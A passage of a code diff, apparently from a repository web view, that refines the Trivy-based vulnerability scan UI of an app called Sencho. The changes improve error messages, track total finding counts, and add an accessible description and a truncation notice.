Sencho re-runs the `trivy --version` check every ten minutes from the background scheduler. You can install Trivy on a running host and scanning will light up on its own within that window. If the binary becomes unavailable at runtime, the UI hides itself in the same way.
## Troubleshooting
### Sencho does not detect Trivy
+2 -2
View File
@@ -623,8 +623,8 @@ export default function ResourcesView() {
}
throw new Error('Scan timed out');
} catch (error) {
const err = error as { message?: string };
toast.error(err?.message || 'Scan failed');
const err = error as { message?: string; error?: string; data?: { error?: string } };
toast.error(err?.message || err?.error || err?.data?.error || 'Scan failed');
} finally {
toast.dismiss(loadingId);
setScanningImageRef(null);
@@ -1,5 +1,5 @@
import { useCallback, useEffect, useMemo, useState } from 'react';
import { Sheet, SheetContent, SheetHeader, SheetTitle } from '@/components/ui/sheet';
import { Sheet, SheetContent, SheetDescription, SheetHeader, SheetTitle } from '@/components/ui/sheet';
import { ScrollArea } from '@/components/ui/scroll-area';
import { Button } from '@/components/ui/button';
import {
@@ -75,18 +75,21 @@ export function VulnerabilityScanSheet({
}: VulnerabilityScanSheetProps) {
const [scan, setScan] = useState<VulnerabilityScan | null>(null);
const [details, setDetails] = useState<VulnerabilityDetail[]>([]);
const [totalDetails, setTotalDetails] = useState(0);
const [loading, setLoading] = useState(false);
const [severityFilter, setSeverityFilter] = useState<SeverityFilter>('ALL');
const [page, setPage] = useState(0);
const [downloadingSbom, setDownloadingSbom] = useState(false);
const DETAIL_FETCH_LIMIT = 500;
const load = useCallback(async () => {
if (scanId == null) return;
setLoading(true);
try {
const [scanRes, detailsRes] = await Promise.all([
apiFetch(`/security/scans/${scanId}`),
apiFetch(`/security/scans/${scanId}/vulnerabilities?limit=500`),
apiFetch(`/security/scans/${scanId}/vulnerabilities?limit=${DETAIL_FETCH_LIMIT}`),
]);
if (!scanRes.ok) throw new Error('Failed to fetch scan');
if (!detailsRes.ok) throw new Error('Failed to fetch vulnerabilities');
@@ -94,6 +97,7 @@ export function VulnerabilityScanSheet({
const detailsData = await detailsRes.json();
setScan(scanData);
setDetails(Array.isArray(detailsData.items) ? detailsData.items : []);
setTotalDetails(typeof detailsData.total === 'number' ? detailsData.total : 0);
setPage(0);
} catch (err) {
toast.error((err as Error)?.message || 'Failed to load scan');
@@ -107,6 +111,7 @@ export function VulnerabilityScanSheet({
else {
setScan(null);
setDetails([]);
setTotalDetails(0);
setSeverityFilter('ALL');
setPage(0);
}
@@ -191,6 +196,11 @@ export function VulnerabilityScanSheet({
{scan?.image_ref ?? 'Loading...'}
</span>
</SheetTitle>
<SheetDescription className="sr-only">
{scan
? `Vulnerability scan results for ${scan.image_ref}: ${scan.total_vulnerabilities} total findings.`
: 'Vulnerability scan details.'}
</SheetDescription>
</SheetHeader>
{loading && !scan && (
@@ -336,6 +346,12 @@ export function VulnerabilityScanSheet({
)}
</div>
{totalDetails > details.length && (
<div className="px-6 pt-2 text-xs text-stat-subtitle font-mono">
Showing first {details.length} of {totalDetails}. Export CSV for the complete list.
</div>
)}
<ScrollArea className="flex-1 min-h-0">
<div className="px-6 py-3">
{pageItems.length === 0 ? (